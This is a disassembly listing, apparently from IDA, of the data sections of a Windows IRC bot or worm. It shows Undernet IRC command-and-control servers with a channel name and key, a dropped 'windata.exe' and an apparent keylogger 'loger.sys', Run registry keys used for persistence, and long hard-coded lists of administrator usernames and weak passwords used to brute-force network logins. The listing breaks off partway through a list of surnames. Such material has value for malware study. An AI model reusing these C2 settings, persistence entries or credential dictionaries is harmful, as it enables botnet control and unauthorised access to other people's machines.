aUnknownExcepti db 'Unknown exception',0 align 10h dword_43A3B0 dd 0FFFFFFFFh, 429C94h, 429C98h, 0FFFFFFFFh, 429D21h, 429D25h ; DATA XREF: sub_429B7E+2o dword_43A3C8 dd 0FFFFFFFFh, 429F28h, 429F2Ch, 0FFFFFFFFh, 429F9Ah, 429F9Eh ; DATA XREF: sub_429E31+2o dd 48h, 0Eh dup(0) dd offset dword_4437D4 dd offset dword_43A590 dword_43A424 dd 0Ah, 443FC4h, 2 dup(0) ; DATA XREF: seg001:0043A45Co ; seg001:0043A4A8o ... dd 0FFFFFFFFh, 2 dup(0) off_43A440 dd offset off_443FDC ; DATA XREF: seg001:0043A458o ; seg001:0043A4A4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43A440 dd offset dword_43A424+4 dword_43A460 dd 3 dup(0) ; DATA XREF: seg001:0043A484o dd 2, 43A458h dword_43A474 dd 3 dup(0) ; DATA XREF: seg001:0043A338o dd offset off_443FDC dd offset dword_43A460+4 off_43A488 dd offset off_443FFC ; DATA XREF: seg001:0043A4A0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43A488 dd offset off_43A440 dd offset dword_43A424+4 dword_43A4AC dd 3 dup(0) ; DATA XREF: seg001:0043A4D0o dd 3, 43A4A0h dword_43A4C0 dd 3 dup(0) ; DATA XREF: seg001:0043A344o dd offset off_443FFC dd offset dword_43A4AC+4 off_43A4D4 dd offset off_44401C ; DATA XREF: seg001:0043A4ECo dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_43A4D4 dd offset off_43A440 dd offset dword_43A424+4 dword_43A4F8 dd 3 dup(0) ; DATA XREF: seg001:0043A51Co dd 3, 43A4ECh dword_43A50C dd 3 dup(0) ; DATA XREF: seg001:0043A350o dd offset off_44401C dd offset dword_43A4F8+4 off_43A520 dd offset off_44403C ; DATA XREF: seg001:0043A538o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43A520 dword_43A53C dd 3 dup(0) ; DATA XREF: seg001:0043A560o dd 1, 43A538h dword_43A550 dd 3 dup(0) ; DATA XREF: seg001:0043A384o dd offset off_44403C dd offset dword_43A53C+4 dd offset dword_43A424+4 dword_43A568 dd 3 dup(0) ; DATA XREF: seg001:0043A58Co dd 1, 43A564h dword_43A57C dd 3 dup(0) ; DATA XREF: seg001:0043A38Co dd offset off_443FC4 dd offset dword_43A568+4 dword_43A590 dd 1FF7Fh, 2007Fh, 20294h, 25F68h, 2A056h, 2A068h, 2A082h ; DATA XREF: seg001:0043A420o dd 2A09Ah, 2A0ACh, 2A0BEh, 0 dword_43A5BC dd 3 dup(0) ; DATA XREF: sub_423257+Co ; sub_423257:loc_42326Ao dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0 dd 1, 0 dd 1, 4 dup(0) dd offset byte_40F0F7 dd 3 dup(0) dd offset byte_40F083 dd 2 dup(2), 3, 1, 43A5E8h, 2 dup(0) dd 3, 1, 43A5F8h, 19930520h, 4, 43A5C8h, 2, 43A608h, 2 dup(0) dd 0FFFFFFFFh, 42A060h, 19930520h, 1, 43A64Ch, 4 dup(0) dd 0FFFFFFFFh, 42A072h, 0 dd offset dword_42A070+0Ah dd 19930520h, 2, 43A670h, 4 dup(0) dd 0FFFFFFFFh, 42A08Ch, 19930520h, 1, 43A69Ch, 4 dup(0) dd 0FFFFFFFFh, 42A0A4h, 19930520h, 1, 43A6C0h, 5 dup(0) dd offset off_443FC4 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 4299D7h, 0 dd offset off_443FDC dd 0 dd 0FFFFFFFFh, 0 dd 28h, 429823h, 0 dd offset off_44401C align 8 dd 0FFFFFFFFh, 0 dword_43A730 dd 28h, 429866h, 3, 43A71Ch, 43A700h, 43A6E4h ; DATA XREF: seg001:0043A754o dword_43A748 dd 0 ; DATA XREF: sub_4297E3+2Ao dd offset dword_4297BC+1Ch dd 0 dd offset dword_43A730+8 dd 0FFFFFFFFh, 42A0B6h, 19930520h, 1, 43A758h, 4 dup(0) dd 0FFFFFFFFh, 42A0A4h, 19930520h, 1, 43A77Ch, 5 dup(0) dd offset off_443FFC dd 0 dd 0FFFFFFFFh, 0 dword_43A7B4 dd 28h, 4298BEh, 3, 43A7A0h, 43A700h, 43A6E4h ; DATA XREF: seg001:0043A7D8o dword_43A7CC dd 0 ; DATA XREF: sub_42987E+2Ao dd offset dword_429798+19h align 8 dd offset dword_43A7B4+8 dd 0FFFFFFFFh, 42A0B6h, 19930520h, 1, 43A7DCh, 4 dup(0) dd 3A83Ch, 2 dup(0) dd 3B008h, 2B000h, 3AA0Ch, 2 dup(0) dd 3B024h, 2B1D0h, 5 dup(0) dd 3AA64h, 3AA72h, 3AA80h, 3AA92h, 3AAA8h, 3AABEh, 3AAC6h dd 3AAD6h, 3AAE6h, 3AAF8h, 3AB0Ch, 3AB1Eh, 3AB2Ch, 3AB3Ch dd 3AB48h, 3AB58h, 3AB68h, 3AB76h, 3AB8Ch, 3AB98h, 3ABAEh dd 3ABC4h, 3ABDAh, 3ABEAh, 3ABFEh, 3AC10h, 3AC20h, 3AC2Eh dd 3AC46h, 3AC5Eh, 3AC86h, 3AC9Eh, 3ACB4h, 3ACC0h, 3ACCCh dd 3ACE0h, 3ACEEh, 3AD04h, 3AD18h, 3AD2Ah, 3AD3Eh, 3AD4Ch dd 3AD58h, 3AD70h, 3AD8Ah, 3AD9Ah, 3ADACh, 3ADBEh, 3ADCCh dd 3ADDEh, 3ADF0h, 3AE08h, 3AE24h, 3AE3Eh, 3AE4Eh, 3AE68h dd 3AE84h, 3AE90h, 3AE9Ch, 3AEAEh, 3AEC0h, 3AED4h, 3AEE4h dd 3AEF2h, 3AF0Ch, 3AF1Eh, 3AF2Eh, 3AF3Ch, 3AF4Eh, 3AF5Eh dd 3AF74h, 3AF82h, 3AF90h, 3AFACh, 3AFB8h, 3AFCEh, 3AFDEh dd 3AFF2h, 3B2A2h, 3B292h, 3B282h, 3B276h, 3B260h, 3B24Eh dd 3B23Ch, 3B228h, 3B218h, 3B1FEh, 3B1E4h, 3B1CCh, 3B1B2h dd 3B196h, 3B186h, 3B176h, 3B166h, 3B154h, 3B136h, 3B128h dd 3B118h, 3B106h, 3B0FAh, 3B030h, 3B03Eh, 3B058h, 3B064h dd 3B076h, 3B088h, 3B09Ah, 3B0A8h, 3B0B6h, 3B0C4h, 3B0D4h dd 3B0E4h, 3B0EEh, 3B2B8h, 0 dd 3B016h, 80000007h, 8000000Fh, 8000000Ch, 80000015h dd 8000000Ah, 80000002h, 8000000Dh, 80000001h, 80000004h dd 80000003h, 80000074h, 80000009h, 80000073h, 80000010h dd 80000017h, 80000013h, 80000097h, 8000000Bh, 80000012h dd 80000006h, 0 dd 784500AFh, 72507469h, 7365636Fh, 2E0073h, 736F6C43h dd 6E614865h, 656C64h, 72430060h, 65746165h, 636F7250h dd 41737365h, 1750000h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 347h aSleep db 'Sleep',0 dw 248h aLoadlibrarya db 'LoadLibraryA',0 align 2 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65540350h dd 6E696D72h, 54657461h, 61657268h, 7C0064h, 656C6544h dd 69466574h, 41656Ch, 654701CBh, 6D655474h, 74615070h dd 4168h, 6F4D0264h, 69466576h, 41656Ch, 654701D5h, 63695474h dd 756F436Bh, 746Eh, 72430069h, 65746165h, 65726854h, 6461h dd 704F027Ah, 72506E65h, 7365636Fh, 13B0073h aGetcurrentproc db 'GetCurrentProcessId',0 db '=',0 aCopyfilea db 'CopyFileA',0 db 0Ch db 3, 53h, 65h aTfileattribute db 'tFileAttributesA',0 align 2 dw 156h aGetfileattribu db 'GetFileAttributesA',0 align 4 db 83h ; ƒ db 3, 57h, 61h aItforsingleobj db 'itForSingleObject',0 aZ_1 db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 2 dw 10Ch aGetcomputernam db 'GetComputerNameA',0 align 2 dw 16Ch aGetlocaleinfoa db 'GetLocaleInfoA',0 align 10h dd 654701DFh, 72655674h, 6E6F6973h, 417845h, 784500B0h dd 68547469h, 64616572h, 2470000h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aP_1 db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 21Ah aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 aZ_2 db 'z',0 aDeletecritical db 'DeleteCriticalSection',0 dw 26Bh aMultibytetowid db 'MultiByteToWideChar',0 db 0A9h ; © db 2, 52h, 65h aAdfile db 'adFile',0 align 10h db 94h ; ” db 3, 57h, 72h aItefile db 'iteFile',0 db 59h ; Y db 3, 54h, 72h aAnsactnamedpip db 'ansactNamedPipe',0 aM_2 db 'M',0 aCreatefilea db 'CreateFileA',0 dw 387h aWidechartomult db 'WideCharToMultiByte',0 dd 6554034Fh, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch dd 63696C70h, 48657461h, 6C646E61h, 13A0065h aGetcurrentpr_0 db 'GetCurrentProcess',0 a__2 db '_',0 aCreatepipe db 'CreatePipe',0 align 4 db 'Å',0 aFindclose db 'FindClose',0 db '¼',0 aFiletimetosyst db 'FileTimeToSystemTime',0 align 10h db '»',0 aFiletimetoloca db 'FileTimeToLocalFileTime',0 db 'Ó',0 aFindnextfilea db 'FindNextFileA',0 db 'É',0 aFindfirstfilea db 'FindFirstFileA',0 align 4 db 0Eh db 3, 53h, 65h aTfilepointer db 'tFilePointer',0 align 2 dw 15Bh aGetfilesize db 'GetFileSize',0 db 0D6h ; Ö db 1, 47h, 65h aTtimeformata db 'tTimeFormatA',0 align 2 dw 13Fh aGetdateformata db 'GetDateFormatA',0 align 10h db 0E1h ; á db 2, 53h, 65h aTconsolectrlha db 'tConsoleCtrlHandler',0 db 0F4h ; ô align 2 aGenerateconsol db 'GenerateConsoleCtrlEvent',0 align 4 db 81h ; db 3, 57h, 61h aItformultipleo db 'itForMultipleObjects',0 align 2 dw 16Bh aGetlocaltime db 'GetLocalTime',0 align 2 dw 297h aQueryperform_1 db 'QueryPerformanceCounter',0 db 98h ; ˜ db 2, 51h, 75h aEryperformance db 'eryPerformanceFrequency',0 db 0Ch db 2, 48h, 65h aApfree db 'apFree',0 align 10h db 6 db 2, 48h, 65h aApalloc db 'apAlloc',0 db 9Bh ; › db 1, 47h, 65h aTprocessheap db 'tProcessHeap',0 align 2 dw 37Ch aVirtualqueryex db 'VirtualQueryEx',0 align 10h db 0ACh ; ¬ db 2, 52h, 65h aAdprocessmemor db 'adProcessMemory',0 dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 724600EFh dd 694C6565h, 72617262h, 1510079h aGetenvironment db 'GetEnvironmentVariableW',0 db 'ê',0 aFormatmessagea db 'FormatMessageA',0 db 2 dup(0), 2 aGlobalunlock db 'GlobalUnlock',0 align 2 dw 1F9h aGloballock db 'GlobalLock',0 align 4 dd 6E550363h, 5670616Dh, 4F776569h, 6C694666h, 25E0065h dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h aCreatefilemapp db 'CreateFileMappingA',0 align 4 db 12h db 3, 53h, 65h aTfiletime db 'tFileTime',0 dw 15Dh aGetfiletime db 'GetFileTime',0 db '²',0 aExpandenvironm db 'ExpandEnvironmentStringsA',0 db 0B3h ; ³ db 3, 6Ch, 73h aTrcmpia db 'trcmpiA',0 db 52h ; R db 1, 47h, 65h aTexitcodeproce db 'tExitCodeProcess',0 align 2 dw 285h aPeeknamedpipe db 'PeekNamedPipe',0 dw 170h aGetlogicaldr_0 db 'GetLogicalDrives',0 align 2 dw 1FAh aGlobalmemoryst db 'GlobalMemoryStatus',0 align 4 aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 a@_1 db '@',0 aWsasocketa_0 db 'WSASocketA',0 align 4 aWs2_32_dll_0 db 'WS2_32.dll',0 align 10h dd 65480210h, 65527061h, 6F6C6C41h, 1C00063h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 dd 745202CAh, 776E556Ch, 646E69h, 6152029Bh, 45657369h dd 70656378h, 6E6F6974h, 1AF0000h, 53746547h, 74726174h dd 6E497075h, 416F66h, 65470108h, 6D6F4374h, 646E616Dh dd 656E694Ch, 20A0041h, 70616548h, 74736544h, 796F72h dd 65480208h, 72437061h, 65746165h, 3760000h, 74726956h dd 466C6175h, 656572h, 69560373h, 61757472h, 6C6C416Ch dd 636Fh, 7349022Ch, 57646142h, 65746972h, 727450h, 654700F5h dd 50434174h, 18B0000h, 4F746547h, 50434D45h, 0FC0000h dd 43746547h, 666E4950h, 317006Fh, 48746553h, 6C646E61h dd 756F4365h, 746Eh, 654701B1h, 64745374h, 646E6148h, 656Ch dd 6547015Eh, 6C694674h, 70795465h, 33B0065h aSetunhandledex db 'SetUnhandledExceptionFilter',0 dd 69560379h, 61757472h, 6F72506Ch, 74636574h, 37B0000h dd 74726956h, 516C6175h, 79726575h, 23A0000h, 614D434Ch dd 72745370h, 41676E69h, 23B0000h, 614D434Ch, 72745370h dd 57676E69h, 3600000h aUnhandledexcep db 'UnhandledExceptionFilter',0 align 2 aA_2 db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 db 4Dh ; M db 1, 47h, 65h aTenvironmentst db 'tEnvironmentStrings',0 aU_1 db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 db 2Ah ; * db 3, 53h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 'å',0 aFlushfilebuffe db 'FlushFileBuffers',0 align 4 db 0B2h ; ² db 1, 47h, 65h aTstringtypea db 'tStringTypeA',0 align 2 dw 1B5h aGetstringtypew db 'GetStringTypeW',0 align 10h db 3Eh ; > db 1, 47h, 65h aTcurrentthread db 'tCurrentThreadId',0 align 2 dw 212h aHeapsize db 'HeapSize',0 align 2 dw 229h aIsbadreadptr db 'IsBadReadPtr',0 align 2 dw 226h aIsbadcodeptr db 'IsBadCodePtr',0 align 2 dw 21Fh aInterlockedexc db 'InterlockedExchange',0 dd 65530303h, 646E4574h, 6946664Fh, 656Ch, 34Eh dup(0) seg001 ends ; Section 3. (virtual address 0003C000) ; Virtual size : 000A8000 ( 688128.) ; Section size in file : 000A8000 ( 688128.) ; Offset to raw data for section: 0003C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write seg002 segment para public 'DATA' use32 assume cs:seg002 ;org 43C000h dword_43C000 dd 0 ; DATA XREF: sub_41F146+45o dd offset loc_426F5A dd offset dword_42A0C4+4 dd offset dword_42A0C4+1Bh dword_43C010 dd 0 ; DATA XREF: sub_41F146+4Co dword_43C014 dd 0 ; DATA XREF: sub_41F146+12o dd offset aB?n ; "¡ ?N" dd offset sub_4230FC dd offset byte_42322F dd offset loc_424652 dd offset dword_42555C+4Eh dword_43C02C dd 0 ; DATA XREF: sub_41F146+17o dword_43C030 dd 0 ; DATA XREF: sub_41F1B0:loc_41F217o dd offset dword_41F8BC+0A1h dword_43C038 dd 0 ; DATA XREF: sub_41F1B0+6Co dword_43C03C dd 0 ; CODE XREF: sub_41F116+23p ; DATA XREF: sub_41F1B0:loc_41F236o dd offset dword_42555C+61h dword_43C044 dd 3 dup(0) ; DATA XREF: sub_41F1B0+8Bo dword_43C050 dd 80000002h ; DATA XREF: sub_401000+24r off_43C054 dd offset aSoftwareMicr_0 ; DATA XREF: sub_401000+1Er ; "Software\\Microsoft\\Windows\\CurrentVersi"... dd 80000002h, 43C1A8h, 80000001h, 43C178h dword_43C068 dd 1A0Bh ; DATA XREF: sub_40A263+48Br ; sub_40A263+513r dword_43C06C dd 1A0Bh ; DATA XREF: sub_40A263+559r dword_43C070 dd 7E4h ; DATA XREF: sub_40274D:loc_405090r dword_43C074 dd 45h ; DATA XREF: sub_40274D+1E88r ; seg000:0040B6CBr dword_43C078 dd 7D1h ; DATA XREF: sub_40274D:loc_4046B9r ; seg000:loc_40BA78r dword_43C07C dd 201h ; DATA XREF: sub_40274D:loc_404825r word_43C080 dw 7C7h ; DATA XREF: sub_40274D:loc_4051A9r align 4 dword_43C084 dd 1 ; DATA XREF: sub_40274D+5CEr dword_43C088 dd 1 ; DATA XREF: sub_40A263:loc_40A58Er ; sub_41AEDD+Cr byte_43C08C db 2Eh ; DATA XREF: sub_40274D+9A7r ; sub_40274D+A5Br ... align 10h dword_43C090 dd 5 ; DATA XREF: sub_40A800+39r ; sub_40A800+5Fr ... dword_43C094 dd 4 ; DATA XREF: sub_4025EF+44r ; sub_40274D+252r ... dword_43C098 dd 1 ; DATA XREF: sub_4025EF+3Br ; sub_40274D+24Cr aIiknc db 'iiKnc',0 ; DATA XREF: sub_40274D:loc_404EF5o ; sub_40274D+6677o ... align 4 aRx db 'rx',0 ; DATA XREF: sub_40274D:loc_40539Fo align 4 aRelax_0 db 'relax',0 ; DATA XREF: sub_40274D+79ACo ; sub_40274D+7A63o align 10h aOslo_no_eu_und db 'oslo.no.eu.undernet.org',0 ; DATA XREF: sub_40A263+477o ; sub_40A263+504o aImortal2 db '#imortal2',0 ; DATA XREF: sub_40A263+492o ; sub_40A263+51Ao align 4 aRelax db 'relax',0 ; DATA XREF: sub_40A263+4A9o ; sub_40A263+52Co align 4 byte_43C0DC db 7Ah ; DATA XREF: sub_40A263:loc_40A79Fr ; sub_40A263+54Ao aAgreb_hr_eu_un db 'agreb.hr.eu.undernet.org',0 align 4 aImortal2_3 db '#imortal2',0 ; DATA XREF: sub_40A263+560o align 4 aRelax_1 db 'relax',0 ; DATA XREF: sub_40A263+572o align 4 aWindata_exe db 'windata.exe',0 ; DATA XREF: sub_40274D+1E75o ; sub_40A263+13Co ... aLoger_sys db 'loger.sys',0 ; DATA XREF: seg000:00414B59o align 4 aWindata db 'windata',0 ; DATA XREF: sub_401000+Bo unicode 0, <->,0 aWindata_exe_0 db 'windata.exe',0 asc_43C13C db '+x',0 ; DATA XREF: sub_40274D+7AE0o align 10h aImortal2_0 db '#imortal2',0 ; DATA XREF: sub_40274D+1B58o ; sub_40274D+2E40o ... align 4 aImortal2_2 db '#imortal2',0 ; DATA XREF: sub_40274D+41A7o align 4 aImortal2_1 db '#imortal2',0 ; DATA XREF: sub_40274D+3DDDo ; sub_40274D+3F25o align 4 off_43C164 dd offset a@_0 ; DATA XREF: sub_40274D+7A09r ; "*@*" off_43C168 dd offset aMircV6_10Khale ; DATA XREF: sub_40274D+7EAr ; "mIRC v6.10 Khaled Mardam-Bey" dd offset aMircV6_12Khale ; "mIRC v6.12 Khaled Mardam-Bey" dd offset aMircV6_14Khale ; "mIRC v6.14 Khaled Mardam-Bey" dd offset aMircV6_16Khale ; "mIRC v6.16 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: seg002:off_43C054o align 4 aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 10h aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: seg000:0041CBB0o ; seg000:0041CED2o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: seg000:0041CC5Do ; seg000:0041CF7Fo align 10h off_43C220 dd offset aAdministrato_0 ; DATA XREF: seg000:00410230r ; seg000:00410238o ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin_0 ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" align 10h off_43C270 dd offset byte_42B633 ; DATA XREF: sub_410047r sub_410047+Co dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer_1 ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_0 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco_0 ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" align 10h dword_43C4A0 dd 10h ; DATA XREF: sub_40274D+A0Br ; sub_40274D+A37r ... align 8 dword_43C4A8 dd 6C616572h ; DATA XREF: sub_40AB83+Fr dd 2 dup(0) dword_43C4B4 dd 0 ; DATA XREF: sub_40AB83:loc_40ABAAr off_43C4B8 dd offset sub_40A800 ; DATA XREF: sub_40AB83+4Ar aConst db 'const',0 align 8 dd 1, 40A86Ch, 7474656Ch, 7265h, 0 dd 2, 40A8CAh, 706D6F63h, 2 dup(0) dd 3, 40A917h, 6E756F63h, 797274h, 0 dd 4, 40A986h, 736Fh, 2 dup(0) dd 5, 40A9FBh off_43C520 dd offset aAbdulrazak ; DATA XREF: sub_40A800+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd 